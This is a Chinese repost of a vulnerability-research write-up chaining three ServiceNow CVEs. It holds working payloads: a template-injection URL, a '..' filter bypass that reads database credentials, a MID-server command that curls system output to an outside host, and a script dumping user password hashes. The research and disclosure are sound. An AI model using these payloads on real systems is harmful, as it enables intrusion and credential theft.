漏洞串联艺术: 获取您的所有ServiceNow数据

admin 2024年7月14日10:55:58评论60 views字数 19257阅读64分11秒阅读模式

漏洞串联艺术:  获取您的所有ServiceNow数据

Assetnote的客户被提前告知了我们为此漏洞创建的缓解措施。我们想特别强调ServiceNow对我们报告的快速响应。ServiceNow的安全团队在处理此报告时与我们保持了高度的沟通,合作非常愉快。

ServiceNow是一个用于业务转型的平台。通过其模块,ServiceNow可以用于从人力资源和员工管理、自动化工作流,到知识库的任何事情。我们开始对这个平台进行安全研究有几个原因,这些原因使ServiceNow成为一个潜在的有吸引力的目标:

  • 由于大多数公司选择使用ServiceNow的云服务,这些基于云的实例通常是外部可访问的。

  • 使用ServiceNow的客户可以选择托管敏感数据,例如员工和人力资源记录。

  • 由于ServiceNow通常是云托管的,但需要访问公司内部网络中的数据,通常会配置ServiceNow与代理服务器进行连接。这个代理服务器被称为“MID Server”,位于公司的内部网络中。由于ServiceNow的设计,在ServiceNow实例上拥有管理员权限会导致在MID服务器上执行命令,因此身份验证绕过的影响通常相当严重。

在三到四周的时间内,我们发现了一连串的漏洞,这些漏洞允许完全访问数据库和任何配置的MID服务器。

以下是为这些问题分配的CVE编号:

CVE-2024-4879CVE-2024-5178CVE-2024-5217

ServiceNow 架构

ServiceNow是一个Java单体应用,仅.jar文件就超过20GB。通常情况下,您不会自行托管,而是选择通过云实例提供。ServiceNow在https://developer.servicenow.com/ 提供免费的开发者实例,采用共享租赁设置,非常适合测试和调试。

在审计一个新项目时,我首先关注应用程序如何处理路由。

如果在ServiceNow实例上访问/foo,它是如何决定如何处理的呢?

由于ServiceNow设计上具有极高的可定制性,大部分配置都存储在数据库中。与典型的Java应用程序不同,后者通常通过在web.xml中注册一堆Servlet并将端点硬编码到应用程序中来处理请求,ServiceNow实例会查询一组数据库表来决定大多数请求的路由。

为了更好地理解我们稍后将详细介绍的漏洞,我们需要先解释一些ServiceNow的概念:

  1. Tables‍

ServiceNow的最基本构建块是表(Tables)。几乎所有的ServiceNow数据都存储在表中,从用户(sys_users)、页面(sys_pages)到配置(sys_properties)。

这些表与底层数据库一一对应;例如,数据库中有一个sys_users表。ServiceNow提供了一个简单的机制来更新数据库中的任何表 - 只需在URL中浏览到相应的位置。例如,如果您想查看用户列表,可以浏览到/sys_users_list.do。

如果要创建新用户,可以浏览到/sys_users.do。这对任何数据库中的表都适用。当然,允许任何用户修改任何内容会非常不安全,因此ServiceNow在此基础上构建了复杂的访问控制列表(ACL)系统来限制访问。您可以向用户授予对整个表、单行甚至单个字段的访问权限。

  1. Processors

另一种处理请求的方式是通过处理器(Processors)。您可以将其视为最接近API端点的方式。ServiceNow提供了基于Rhino的JavaScript引擎,允许用户在设计自定义端点时拥有很大的自由度。

此外,他们还提供了广泛的辅助类,大多数是用Java编写的,允许配置平台的几乎任何部分。以下是随机选取的一个样本处理器,展示了它的基本样式:

 1redirectBasedOnTheDevice();
2
3function redirectBasedOnTheDevice() {
4    var userId = g_request.getParameter("sysparm_id");
5    var requestId = g_request.getParameter("sysparm_request_id");
6    var token = g_request.getParameter("sysparm_token");
7    var redirectUrl = g_request.getParameter("sysparm_redirect_url");
8    gs.getSession().putProperty('pwd_redirect_url', redirectUrl);
9    var resetPasswordURL = this.getInstanceURL() + '/nav_to.do?uri='+ encodeURIComponent('$pwd_new.do?sysparm_id='+userId+'&sysparm_request_id='+requestId+'&sysparm_nostack=true&sysparm_token=' + token);
10    if(GlideMobileExtensions.getDeviceType() == 'm' || GlideMobileExtensions.getDeviceType() == 'mobile') {
11        gs.debug("Password Reset request coming in from a mobile device. Changing the URL to be mobile compatible");
12        resetPasswordURL = this.getInstanceURL() + '/$pwd_new.do?sysparm_id='+userId+'&sysparm_request_id='+requestId+'&sysparm_nostack=true&sysparm_token=' + token;
13    }
14    g_response.sendRedirect(resetPasswordURL);
15}

由于大多数实例都托管在共享租赁设置中,为确保无法访问底层机器,采用了多层沙箱机制。

JavaScript执行被沙箱化,任何涉及底层文件系统的辅助类都受到严格控制,并限制在白名单目录中。

此外,Java SecurityManager作为最后防线,防止读写超出租户目录范围。

即使有这些限制,未经授权的ServiceNow服务上的JavaScript执行仍是一个严重问题,相当于入侵了实例。

  1. UI Pages

最常见的请求类型将会经过UI页面(UI Pages)。UI页面基于Apache Jelly库的XML模板运行。以下是一个样本UI页面:

 1<?xml version="1.0" encoding="utf-8" ?>
2<j:jelly trim="false" xmlns:j="jelly:core" xmlns:g="glide" xmlns:j2="null" xmlns:g2="null">
3  <g:evaluate var="jvar_product_name">
4    gs.getProperty('glide.product.name')
5  </g:evaluate>
6  <div style="font-size: 36px">Hello from ${jvar_product_name}, your query param is ${sysparm_foo}</div>
7  <g2:evaluate var="jvar_time">
8    new GlideDate().getByFormat("HH:mm:ss");
9  </g2:evaluate>
10  <div style="font-size: 36px">The time is $[jvar_time]</div>
11</j:jelly>

如果我将此UI页面保存为名为test的页面,并访问/test.do?sysparm_foo=abc,将会看到以下内容:

漏洞串联艺术:  获取您的所有ServiceNow数据

从这个简单的示例中,我们可以看到几点:

  1. Jelly模板可以像处理器一样执行JS。这可以通过g:evaluateg2:evaluate标签来实现,这些标签是ServiceNow提供的自定义标签。

  2. Jelly还有自己的模板表达式语言,称为JEXL,用${…}$[…]标签表示。这也像JS一样以类似的方式进行沙箱化。

  3. 查询字符串中的URL参数会自动传递到模板中作为变量使用。

  4. Jelly模板默认转义字符串以防止跨站脚本攻击(XSS),因此传递sysparm_foo=将是无害的。要禁用转义,必须使用no_escape标签手动进行设置。

UI页面存储在两个位置,一是存储在本地文件系统的ui.jforms/文件夹下的“基本”UI页面模板列表中。此外,还有一个sys_ui_pages表,您可以在其中添加任何想要的页面。

潜在问题迹象

如果您是一个特别敏锐的读者,您可能会问为什么评估使用两种不同的前缀(g: 和 g2:)以及两种不同的模板表达式语法(${}$[])。

这是因为UI渲染工作分为两个阶段。大致流程如下:

  1. ServiceNow首先渲染模板时只处理 g: 和 j: 标签,并忽略 g2: 和 j2:。它使用 ${} 作为表达式分隔符,这在文档中称为第一阶段。任何用户提供的值都将插入到模板中。

  2. ServiceNow然后再次评估模板,这次使用 g2: 和 j2: 作为前缀,并使用 $[] 作为模板分隔符,这被称为第二阶段。

漏洞串联艺术:  获取您的所有ServiceNow数据

这种双重评估结构意味着,在第一阶段的任何内容注入都有可能导致模板注入。根本上说,这种设计可能是有风险的,因为哪些接收器会导致模板注入可能并不立即显而易见。

当然,开发人员已经考虑到了这一点。对于最明显的注入向量,已经存在几种缓解措施——用户提供的输入中的 $[${ 会被转义,<j2:<g2: 也会被转义。

我们将在后面详细探讨这些缓解措施。目前,如果我们能在未经认证的UI中找到可以在第一阶段注入XML标签的地方,那么我们就有很大的可能实现模板注入。

漏洞1:标题注入

预认证情况下可访问的页面和处理器列表存储在 sys_public 表中。注意到双重评估后,我们开始寻找可以在第一阶段注入标签的地方。

最明显的情况是使用了 <g:no_escape> 标签,因此我们首先通过 grep 查找它。不久,我们在文件系统中的 ui.jtemplates/html_page_title.xml 找到了这个模板,它是每个页面头部的一部分:

 1<g:evaluate var="jvar_page_title" jelly="true">
2    var pageTitle = jelly.jvar_page_title;
3    if (JSUtil.nil(pageTitle)) {
4        var productName = gs.getProperty('glide.product.name', 'ServiceNow'),
5            description = gs.getProperty('glide.product.description');
6        if (gs.getProperty('glide.ui.title.use_product_name_only', 'false') == 'true')
7            pageTitle = productName;
8        else
9            pageTitle = productName + '  ' + description;
10    }
11    SNC.GlideHTMLSanitizer.sanitizeWithConfig('HTMLSanitizerConfig', pageTitle);
12</g:evaluate>
13<title><g:no_escape>${jvar_page_title}</g:no_escape></title>

漏洞1:标题注入

预认证情况下可访问的页面和处理器列表存储在 sys_public 表中。注意到双重评估后,我们开始寻找可以在第一阶段注入标签的地方。

最明显的情况是使用了 <g:no_escape> 标签,因此我们首先通过 grep 查找它。不久,我们在文件系统中的 ui.jtemplates/html_page_title.xml 找到了这个模板,它是每个页面头部的一部分:

 1<g:evaluate var="jvar_page_title" jelly="true">
2    var pageTitle = jelly.jvar_page_title;
3    if (JSUtil.nil(pageTitle)) {
4        var productName = gs.getProperty('glide.product.name', 'ServiceNow'),
5            description = gs.getProperty('glide.product.description');
6        if (gs.getProperty('glide.ui.title.use_product_name_only', 'false') == 'true')
7            pageTitle = productName;
8        else
9            pageTitle = productName + '  ' + description;
10    }
11    SNC.GlideHTMLSanitizer.sanitizeWithConfig('HTMLSanitizerConfig', pageTitle);
12</g:evaluate>
13<title><g:no_escape>${jvar_page_title}</g:no_escape></title>

在这种情况下,jelly.jvar_page_title 类似于 ${jvar_page_title}。到目前为止,我们已经看到模板中的内部变量使用 jvar_ 前缀,而外部变量使用 sysparm_

然而,这只是惯例——如果我们提供一个查询参数 ?jvar_page_title=xyz,该变量将传递到模板中。如果变量未被覆盖,它将保留其值。这类似于 PHP 的旧 register_globals 特性,我们知道这从未导致任何安全漏洞。

所以,我们尝试访问 /login.do?jvar_page_title=<b>aaa</b>。令我们惊讶的是,页面标题竟然被注入了!这似乎完全不是预期的。

漏洞串联艺术:  获取您的所有ServiceNow数据

有一个问题。要利用模板注入,我们可能需要编写 XML 标签。然而,ServiceNow 在页面标题上运行了其 HTML 清理器 SNC.GlideHTMLSanitizer.sanitizeWithConfig。如果我们能绕过或忽略这一点,那将非常棒。现在是时候深入研究 ServiceNow 的源代码了。

在源代码中,我们发现这个函数在 com.glide.htmlsanitizer.GlideHTMLSanitizer 中实现:

 1public static String sanitize(String value, Object context, HtmlChangeListener listener) {
2    if (EdgeEncryptionUtil.isEncryptedString((String)value)) {
3        return GlideHTMLSanitizer.addEdgeHTMLEscapeMetadata(value);
4    }
5    String result = value;
6    if (HTMLSanitizerConfig.get().getPolicy() != null) {
7        result = fLoggingEnabled.isTrue()
8        ? HTMLSanitizerConfig.get().getPolicy().sanitize(result, (HtmlChangeListener)new GlideHtmlChangeListener(listener), context) 
9        : HTMLSanitizerConfig.get().getPolicy().sanitize(result, listener, context);
10    }
11    return result;
12}

查看 HTMLSanitizerConfig,我们可以看到允许的属性和标签列表:

1public class HTMLSanitizerConfig implements Serializable {
2    // ...
3    private static final String DEFAULT_GLIDE_HTML_ATTRIBUTE_GLOBAL_WHITELIST = "id,class,lang,title,style";
4    private static final String DEFAULT_GLIDE_HTML5_ELEMENT_WHITELIST = "canvas, details, summary, s, video";
5    private static final String DEFAULT_GLIDE_HTML_ELEMENT_WHITELIST = "a, label, noscript, h1, h2, h3, h4, h5, h6, p, i, b, u, strong, em, small, big, pre, code, cite, samp, sub, sup, strike, center, blockquote, hr, br, col, font, map, span, div, img, ul, ol, li, dd, dt, dl, tbody, thead, tfoot, table, td, th, tr, colgroup, fieldset, legend, style, button, form, input, select, textarea, option, figure, tt, html, body, head, title, caption, link, meta, var, canvas, details, summary, s, video";
6    private static final String DATA_SANITIZATION_WARNING = "HTMLSanitizerConfig: blocking use of data protocol containing script from %s.%s";
7    // ...
8}

查看 DEFAULT_GLIDE_HTML_ELEMENT_WHITELIST,某些标签会引起注意。没错,style 标签是被允许的!这不仅从 HTML 清理器的角度来看是糟糕的,而且允许我们非常容易地编写任意标签内容:

1/login.do?jvar_page_title=<style><foo>abc</foo></style>

在这种情况下,清理器只会看到 HTML style 标签中的一些文本内容,这是可以的且被允许的。然而,当被 Jelly XML 解析器解释时,style 元素没有特定含义,所以其内部内容将被解析为 XML。

这使我们摆脱了清理器的约束,允许我们注入任何我们想要的模板内容。

漏洞2:模板注入的缓解措施绕过

如果没有缓解措施,这将是致命的。我们可以简单地注入类似 <g2:evaluate>evilcode();</g2:evaluate> 的内容,当第二阶段运行时,它将执行我们提供的代码。

然而,如前所述,ServiceNow 的开发人员考虑到了这种情况,并实施了几项缓解措施以防止模板注入。大多数缓解措施在 com.glide.ui.jelly.JellyEscapeTokenUtil 中处理,并逃避以下内容:

  • $[

  • ${

  • &lt;g2:

  • &lt;j2:

  • &lt;/g2:

  • &lt;/j2:

这看起来不可靠,但实际上非常难以绕过。Apache Jelly XML 解析器是一个严格遵循标准的解析器,因此像 < g2:<g2 : 这样的空格技巧不起作用。你可能会想到可以注入 <g:evaluate>,但这也不起作用。为什么?

回到我们共享的示例模板,特别是头部:

1<j:jelly trim="false" xmlns:j="jelly:core" xmlns:g="glide" xmlns:j2="null" xmlns:g2="null">
2  ...
3</j:jelly>

阶段的工作方式如下:

在第一阶段,j: 前缀绑定到 jelly 核心标签,g: 命名空间绑定到 Glide(ServiceNow 自定义)标签。j2:g2: 绑定到 null 命名空间,因此它们被跳过。 在第二阶段重新评估模板之前,ServiceNow 将头部更改为:

1<j:jelly trim="false" xmlns:j="null" xmlns:g="null" xmlns:j2="jelly:core" xmlns:g2="glide">
2  ...
3</j:jelly>

因此,在第二阶段,只有带有 j2:g2: 前缀的标签才会运行。

考虑了一段时间后,我们想到——为什么不绑定我们自己的命名空间呢?

1/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:z="glide"><z:evaluate>gs.addErrorMessage(7*7);</z:evaluate></j:jelly></style>

不幸的是,这不起作用,我们得到以下错误:

1jelly namespace glide registered to invalid prefix z

检查代码,我们发现每当我们在 com.glide.ui.jelly.GlideJellyXMLParser 中绑定命名空间时,它会检查一些前提条件:

 1public class GlideJellyXMLParser extends XMLParser {
2    private static final String NAMESPACE_ERROR_MSG = "jelly namespace %s registered to invalid prefix %s";
3
4    // ...
5
6    public void startPrefixMapping(String prefix, String namespaceURI) throws SAXException {
7        if (this.isInvalidPrefixMapping(prefix, namespaceURI)) {
8            throw new SecurityException(String.format(NAMESPACE_ERROR_MSG, namespaceURI, prefix));
9        }
10        super.startPrefixMapping(prefix, namespaceURI);
11    }
12
13    private boolean isInvalidPrefixMapping(String prefix, String namespace) {
14        if (StringUtil.nil((String)namespace) || fLimitJellyNamespace.isFalse()) {
15            return false;
16        }
17        String uri = WHITESPACE_PATTERN.matcher(namespace).replaceAll(EMPTY_STRING);
18        return this.isInvalidGlidePrefix(uri, prefix) || this.isInvalidJellyPrefix(uri, prefix);
19    }
20
21    private boolean isInvalidGlidePrefix(String uri, String prefix) {
22        return "glide".equals(uri) && !"g".equals(prefix) && !"g2".equals(prefix);
23    }
24
25    private boolean isInvalidJellyPrefix(String uri, String prefix) {
26        return "jelly:core".equals(uri) && !"j".equals(prefix) && !"j2".equals(prefix);
27    }
28}

当你绑定任何命名空间时,代码调用 startPrefixMapping,它检查 isInvalidPrefixMapping。一个检查是 isInvalidGlidePrefix 检查。如果前缀不是 gg2,则拒绝访问 glide 命名空间。由于我们试图将前缀 z 绑定到 Glide 命名空间,因此会得到错误。然而,即使 g 已经绑定到 null 命名空间,为什么不重新绑定 g 呢?

1/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:g="glide"><g:evaluate>gs.addErrorMessage(7*7);</g:evaluate></j:jelly></style>

尝试这个时,我们遇到另一个缓解措施:

1GlideExpressionScript: jelly injection attempt blocked

追踪源代码,我们发现 com.glide.ui.jelly.GlideExpressionScript 中的另一个缓解措施:

 1public class GlideExpressionScript extends ExpressionScript implements IPropertiesIJellyConstants {
2    private static final GlideProperty fEscapeAllScript = new GlideProperty("glide.ui.escape_all_script");
3    private static final GlideProperty fAllowDeepHtmlValidation = new GlideProperty("glide.ui.allow_deep_html_validation"false);
4    private static final GlideProperty fAllowNamespaceInNoEscape = new GlideProperty("glide.ui.jelly.allow_ns_in_no_escape"false);
5    private static final Pattern fPatternDollar = Pattern.compile("\$");
6    private static final Pattern GLIDE_NS_PATTERN = Pattern.compile("xmlns:(g2|g)\s*=\s*"glide"");
7    private static final String JELLY_INJECTION_ATTEMPT_MSG = "GlideExpressionScript: jelly injection attempt blocked from %s";
8    private GlideJellyContext fGJC;
9
10    // ... 
11
12    private boolean hasNoEscapeWrappedNamespaceDeclaration(String value) {
13        if (fAllowNamespaceInNoEscape.isTrue() || "false".equals(this.fGJC.getVariable("no_escape"))) {
14            return false;
15        }
16        return GLIDE_NS_PATTERN.matcher(value).find();
17    }
18
19    private void runWithEscaping(XMLOutput output) throws JellyTagException {
20        // ...
21        IGlideExpressionWrapper wrapper = (IGlideExpressionWrapper)this.getExpression();
22        String value = wrapper.evaluateAsString(this.fGJC, additionalEscapes = this.getEscapes(text = wrapper.getExpressionText()));
23        if (value == null) {
24            return;
25        }
26        if (this.hasNoEscapeWrappedNamespaceDeclaration(value)) {
27            Log.warn((String)String.format(JELLY_INJECTION_ATTEMPT_MSG, text));
28            output.getWriter().setEscapeText(true);
29        }
30        // ...
31    }
32}

从中我们看到,如果我们的输入匹配 /xmlns:(g2|g)s*=s*"glide"/,我们将被阻止。但这也是可以绕过的——我们只需在 glide 周围使用单引号!

最后,我们使用这个 payload

/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:g='glide'><g:evaluate>gs.addErrorMessage(7*7);</g:evaluate></j:jelly></style>

结果我们成功执行了代码!

漏洞3:文件系统过滤绕过

JavaScript 执行已经给了我们很大的访问权限,但这还不够。在强化实例中,脚本执行虽然能给我们很大的访问权限,但平台对某些表施加了额外的访问控制。

这意味着我们可能无法读取所有敏感数据。理想情况下,我们希望读取包含数据库连接字符串的凭证文件,直接连接到数据库。

在云端,Glide 将数据库凭证存储在 /glide/nodes/[[node]]/conf/glide.db.properties 下,因此我们开始寻找访问这个文件的方法。

一个立即引起我们注意的辅助类是 SecurelyAccess

正如其名称所示,这个类设计为只允许对文件系统中的某些文件进行安全读访问。其思路是你可以写类似 new SecurelyAccess("some/file/here").getBufferedReader() 的代码来获取允许文件的句柄。

检查的列表非常详尽:

 1public static boolean isValidFilePath(String fileName, boolean isDownloadFile, boolean existenceCheck) {
2    // existenceCheck 和 isDownloadFile 在我们的情况下都是 false
3    block11: {
4        if (!SecurelyAccess.isAcceptableCmdArgOrFileName(fileName)) {
5            Log.securityWarn((String)String.format(LogFormatEnum.NotAcceptableCmdArgOrFileName.getFormat(), fileName));
6            return false;
7        }
8        if (fIgnoreFilePathRestrictions.isTrue()) {
9            return true;
10        }
11        if (SecurelyAccess.isMaintOrZboot()) {
12            return true;
13        }
14        try {
15            if (fileName.contains("../")) {
16                Log.securityWarn((String)String.format(LogFormatEnum.NotAllowParentDirectoryInPath.getFormat(), fileName));
17                return false;
18            }
19            File proposedFile = new File(fileName);
20            String filePath = proposedFile.getCanonicalPath().toLowerCase();
21            if (existenceCheck && SecurelyAccess.isPathInList(filePath, FILEPATH_ALLOWLIST)) {
22                return true;
23            }
24            if (!existenceCheck && proposedFile.exists() && proposedFile.isDirectory()) {
25                Log.securityWarn((String)String.format(LogFormatEnum.NotAllowDirectoryPath.getFormat(), fileName));
26                return false;
27            }
28            String tempDir = SysFileUtil.getTempDir().getCanonicalPath().toLowerCase();
29            if (filePath.startsWith(tempDir)) {
30                return true;
31            }
32            if (isDownloadFile) {
33                String customerUploadsDir = SysFileUtil.getCustomerUpload().getCanonicalPath().toLowerCase();
34                String tomcatLogsDir = SysFileUtil.getTomcatLogsDirectory().getCanonicalPath().toLowerCase();
35                if (filePath.startsWith(tomcatLogsDir) || filePath.startsWith(customerUploadsDir)) {
36                    return true;
37                }
38                break block11;
39            }
40            String glideHome = new File(SysFileUtil.getGlideHome()).getCanonicalPath().toLowerCase();
41            String tomcatHome = SysFileUtil.getTomcatHome().getCanonicalPath().toLowerCase();
42            Log.warn((String)String.format(LogFormatEnum.MapFilePathToAbsolutePath.getFormat(), fileName, proposedFile.getAbsolutePath(), proposedFile.exists()));
43            Log.warn((String)String.format(LogFormatEnum.GlideHomeAndTomcatHomePaths.getFormat(), glideHome, tomcatHome));
44            return (filePath.startsWith(glideHome) || filePath.startsWith(tomcatHome)) && !SecurelyAccess.isBlackListedFile(filePath);
45        }
46        catch (Exception e) {
47            Transaction.cancelIfNecessary(e);
48            Log.warn((Throwable)e);
49        }
50    }
51    return false;
52}

这里,glideHome 是我们的文件节点(类似于 /glide/node/[[node]]/),所以唯一阻止我们访问所有文件的是黑名单。让我们来看看:

我们似乎无法访问 conf 目录中的任何内容。这看起来像是非常强大的保护措施,因为他们调用了 getCanonicalPath

 1private static final List<String> FILEPATH_BLACKLIST = 
2  ImmutableList.of(
3    "/sys.scripts/",
4    "/classes/",
5    "/lib/",
6    "/conf/",
7    "/properties/",
8    "/web-inf/",
9    "/key/"
10  );

然而,在 getBufferedReader 调用中有些东西引起了我们的注意:

 1// SecurelyAccess.java
2
3    @GlideScriptable
4    public BufferedReader getBufferedReader() throws FileNotFoundException {
5        return new BufferedReader(new FileReader(this.getFile()));
6    }
7
8    @GlideScriptable
9    public File getFile() {
10        // ..省略..
11        return SysFileUtil.getPath(this.fFileName);
12    }
13
14// -->
15// SysFileUtil.java
16
17    private static File getPath(String path, boolean useProxy) {
18        path = SysFileUtil.cleanupPath(path);
19        File f = SysFileUtil.createFile(path, useProxy);
20        try {
21            if (f.exists()) {
22                return f;
23            }
24        }
25        catch (SecurityException securityException) {
26            // 空的 catch 块
27        }
28        return SysFileUtil.getPathInGlideHome(path, false, useProxy);
29    }
30
31    public static String cleanupPath(String path) {
32        return path.replaceAll("\.\.""");
33    }

我们提供给 SecurelyAccess 的文件名会传递给 SysFileUtil.cleanupPath,它会在访问路径之前去除路径中的双点 ..!这意味着我们可以传递类似 /glide/node/[[node]]/co..nf/glide.db.properties 的路径来绕过黑名单!

其余的 payload 只是读取 ServiceNow 文档的问题。我们定下了这个 payload 来转储数据库凭证:

1<style><j:jelly xmlns:j="jelly:core" xmlns:g='glide'><g:evaluate>z=new Packages.java.io.File("").getAbsolutePath();z=z.substring(0,z.lastIndexOf("/"));u=new SecurelyAccess(z.concat("/co..nf/glide.db.properties")).getBufferedReader();s="";while((q=u.readLine())!==null)s=s.concat(q,"n");gs.addErrorMessage(s);</g:evaluate></j:jelly></style>
漏洞串联艺术:  获取您的所有ServiceNow数据

全面接管

正如介绍中提到的,大多数生产环境配置了一个或多个 MID 服务器。这些服务器本身就设计允许命令执行。ServiceNow 提供了 SncProbe 类,它允许直接在实例上运行 shell 命令。

一个获取回显的示例 payload 如下:

1p = SncProbe.get("Command");
2p.setName("curl http://my.honeypot.server.example/?x=$(uname -a|base64 -w0)");
3p.create("*");

这将会在每个配置的 MID 服务器上运行一次该命令。使用 Burp Suite 我们可以验证我们可以访问任何内容。

漏洞串联艺术:  获取您的所有ServiceNow数据

如果没有配置 MID 服务器,我们可以使用以下命令访问实例的用户数据库:

1gr = new GlideRecord("sys_user");
2gr.query();
3s = "";
4while(gr.next()) s = s.concat(gr.user_name, " : ", gr.user_password, "<br/>");
5gs.addErrorMessage(s);

这将会访问实例上每个用户的密码哈希:

(顺便说一句,似乎唯一的“真实”账户是 adminaes.creator —— 此表中的其他账户在其密码哈希字段中似乎有虚拟数据,可能是因为它们是 ServiceNow 开发实例中的示例数据)。

漏洞串联艺术:  获取您的所有ServiceNow数据

结论

我们于2024年5月14日向ServiceNow披露了这一系列漏洞。

针对 CVE-2024-4879,ServiceNow已经向客户发布了更新。此外,他们还提供了详细的修补版本和热修复列表,客户可能已经应用了这些更新。

针对 CVE-2024-5178,ServiceNow于6月向客户发布了补丁。他们还提供了详细的修补版本和热修复列表,供那些可能在6月选择不修补的客户使用。

针对 CVE-2024-5217,ServiceNow于6月向客户发布了补丁。他们也提供了详细的修补版本和热修复列表,供那些可能在6月选择不修补的客户使用。

尽管ServiceNow实施了多种缓解措施以降低模板系统中双重评估的风险,但我们仍然找到了一种实现代码执行的方法。即使有更多的缓解措施,只要有一个未转义的注入点,就存在代码执行的风险。

一如既往,当我们的攻击面管理平台发现这些漏洞影响到客户时,我们会第一时间通知他们。我们将继续进行原创安全研究,努力告知客户有关其攻击面上的零日漏洞。

漏洞点评

比较精彩的利用过程,漏洞1是作者找到一个不转义的标签值能够被外部变量非常规注入,漏洞二是作者利用二次渲染机制,导致强制回退第二次处理逻辑使其能够以第一次处理逻辑进行处理<g标签,绕过标签过滤(非常精彩的尝试),漏洞三是利用已有机制的巧妙绕过黑名单限制,导致越权访问敏感文件路径,全面接管则是利用MID服务器正常命令执行接口控制其他公司的内网代理服务器,从云上打到用户内网,非常牛逼。

Thanks for Adam Kues, sources: https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data


原文始发于微信公众号(一个不正经的黑客):​漏洞串联艺术: 获取您的所有ServiceNow数据

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日10:55:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞串联艺术: 获取您的所有ServiceNow数据https://cn-sec.com/archives/2952131.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息